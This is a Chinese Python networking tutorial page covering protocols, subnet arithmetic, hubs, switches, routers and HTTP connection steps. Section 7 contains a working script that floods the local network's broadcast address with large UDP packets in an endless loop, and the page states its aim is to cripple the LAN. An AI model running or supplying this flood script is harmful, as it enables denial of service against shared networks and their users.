python網(wǎng)絡(luò)通信圖文詳解
1. 常用的網(wǎng)絡(luò)協(xié)議

ICMP協(xié)議又叫:網(wǎng)絡(luò)控制協(xié)議
2. 數(shù)據(jù)傳輸過(guò)程

3. 兩臺(tái)電腦通信
網(wǎng)絡(luò)傳輸?shù)氖菙?shù)據(jù)的信號(hào)而不是電流

4. IP地址網(wǎng)絡(luò)號(hào)與主機(jī)號(hào)的確定規(guī)則
通過(guò)ip地址和網(wǎng)絡(luò)掩碼的二進(jìn)制數(shù)實(shí)行按位與運(yùn)算,計(jì)算的結(jié)果轉(zhuǎn)換為十進(jìn)制,非0的就是網(wǎng)絡(luò)號(hào),0的就是主機(jī)號(hào)

5. 最開(kāi)始集線器解決多臺(tái)電腦通信
但是集線器是以廣播的形式發(fā)送數(shù)據(jù),設(shè)備一多就會(huì)導(dǎo)致網(wǎng)絡(luò)擁堵。

6. 使用交換機(jī)進(jìn)行網(wǎng)絡(luò)通信
單播寫(xiě)對(duì)方的mac地址,廣播mac地址寫(xiě)6組FF:FF:FF:FF:FF:FF
7. 使用udp協(xié)議實(shí)現(xiàn)內(nèi)網(wǎng)癱瘓
先根據(jù)IP地址和網(wǎng)絡(luò)掩碼二進(jìn)制按位與計(jì)算出網(wǎng)絡(luò)號(hào),在使用udp往當(dāng)前局域網(wǎng)(網(wǎng)絡(luò)號(hào))下面無(wú)線循環(huán)發(fā)廣播,使局域網(wǎng)瀕臨癱瘓
import socket # 導(dǎo)入socket
def main():
try:
# 1、創(chuàng)建socket套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 這里是指定UDP協(xié)議
# 2、指定地址
data_address = ("192.168.255.255", 64300)
# 地址要是一個(gè) 元組,第一個(gè)"192.168.100.255"是內(nèi)網(wǎng)的廣播地址,第二個(gè) 64300 是你計(jì)算機(jī)當(dāng)前的端口#
# 這個(gè)端口不必太在意,64300 只要不是被其他程序占用的就行,
# 3、發(fā)送數(shù)據(jù)
while True:
send_data = "1" * 57175
# 這里發(fā)送的數(shù)據(jù)可以隨意點(diǎn)
udp_socket.sendto(send_data.encode("UTF-8"), data_address)
# 第一個(gè)參數(shù)sendData.encode("UTF-8")是要發(fā)送的數(shù)據(jù),("UTF-8")是設(shè)置發(fā)送數(shù)據(jù)的編碼,
# 第二個(gè)參數(shù)(dataAddress)是發(fā)送數(shù)據(jù)的地址,也就是筆者內(nèi)網(wǎng)的廣播地址
except Exception as result:
print("未知錯(cuò)誤" + str(result))
if __name__ == '__main__':
main()
8. 使用路由器連接多個(gè)網(wǎng)絡(luò)
路由器的作用:連接兩個(gè)以上的網(wǎng)絡(luò)為一個(gè)大網(wǎng)絡(luò)
網(wǎng)關(guān):具有轉(zhuǎn)發(fā)數(shù)據(jù)能力的設(shè)備
當(dāng)AB兩臺(tái)電腦不在同一個(gè)網(wǎng)絡(luò)下想進(jìn)行通信時(shí),A電腦需要先把數(shù)據(jù)發(fā)送到默認(rèn)網(wǎng)關(guān),網(wǎng)關(guān)具有轉(zhuǎn)發(fā)數(shù)據(jù)的能力,網(wǎng)關(guān)再把數(shù)據(jù)轉(zhuǎn)發(fā)給B電腦,默認(rèn)網(wǎng)關(guān)一般都是路由器


數(shù)據(jù)在轉(zhuǎn)發(fā)的過(guò)程當(dāng)中,ip地址不變,mac地址每轉(zhuǎn)發(fā)一次就發(fā)生一次變化
9. 瀏覽器訪問(wèn)服務(wù)器的過(guò)程

(1)向DNS服務(wù)器發(fā)送請(qǐng)求進(jìn)行解析域名
(2)向http服務(wù)器發(fā)送3次握手
(3)握手成功后,向http服務(wù)器發(fā)送Http格式的請(qǐng)求數(shù)據(jù)
(4)所有請(qǐng)求完畢后,向http服務(wù)器發(fā)送4次揮手
網(wǎng)絡(luò)數(shù)據(jù)包發(fā)送過(guò)程當(dāng)中源IP目標(biāo)IP不變,源mac和目標(biāo)mac每通過(guò)路由器網(wǎng)關(guān)轉(zhuǎn)發(fā)一次就會(huì)發(fā)生一次變化
總結(jié)
本篇文章就到這里了,希望能給你帶來(lái)幫助,也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容!
相關(guān)文章
Python實(shí)現(xiàn)導(dǎo)出數(shù)據(jù)生成excel報(bào)表的方法示例
這篇文章主要介紹了Python實(shí)現(xiàn)導(dǎo)出數(shù)據(jù)生成excel報(bào)表的方法,結(jié)合完整實(shí)例形式分析了Python連接、查詢mysql數(shù)據(jù)庫(kù)并導(dǎo)出Excel報(bào)表的相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下2017-07-07
完美解決keras 讀取多個(gè)hdf5文件進(jìn)行訓(xùn)練的問(wèn)題
這篇文章主要介紹了完美解決keras 讀取多個(gè)hdf5文件進(jìn)行訓(xùn)練的問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-07-07
Python中reduce()函數(shù)的語(yǔ)法參數(shù)與作用詳解
這篇文章主要介紹了Python中reduce()函數(shù)的語(yǔ)法參數(shù)與作用詳解,reduce函數(shù)是通過(guò)函數(shù)對(duì)迭代器對(duì)象中的元素進(jìn)行遍歷操作,Python3.x中reduce函數(shù)已經(jīng)從內(nèi)置函數(shù)中取消了,轉(zhuǎn)而放在functools模塊中,需要的朋友可以參考下2023-08-08
Python使用pdfminer庫(kù)玩轉(zhuǎn)PDF文本提取
pdfminer是一個(gè)開(kāi)源的Python第三方庫(kù),專門用于解析PDF文件,本文主要為大家詳細(xì)介紹了如何使用pdfminer實(shí)現(xiàn)PDF文本提取,有需要的小伙伴可以了解下2025-02-02
超詳細(xì)的Python安裝第三方庫(kù)常用方法匯總
電腦網(wǎng)絡(luò)有點(diǎn)問(wèn)題,直接安裝第三方庫(kù)的時(shí)候出現(xiàn)了各種問(wèn)題,所以在這篇文章里記錄一下各種安裝第三方庫(kù)的方法吧,下面這篇文章主要給大家介紹了關(guān)于Python安裝第三方庫(kù)常用方法的相關(guān)資料,需要的朋友可以參考下2022-04-04
Python3正則表達(dá)式之:(?(id/name)yes-pattern|no-pattern)條件性匹配
(?(id/name)yes-pattern|no-pattern)的作用是對(duì)于給出的id或者name,先嘗試去匹配 yes-pattern部分的內(nèi)容,如果id或name條件不滿足,則去匹配no-pattern部分的內(nèi)容2021-10-10
Anaconda+vscode+pytorch環(huán)境搭建過(guò)程詳解
這篇文章主要介紹了Anaconda+vscode+pytorch環(huán)境搭建過(guò)程詳解,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-05-05

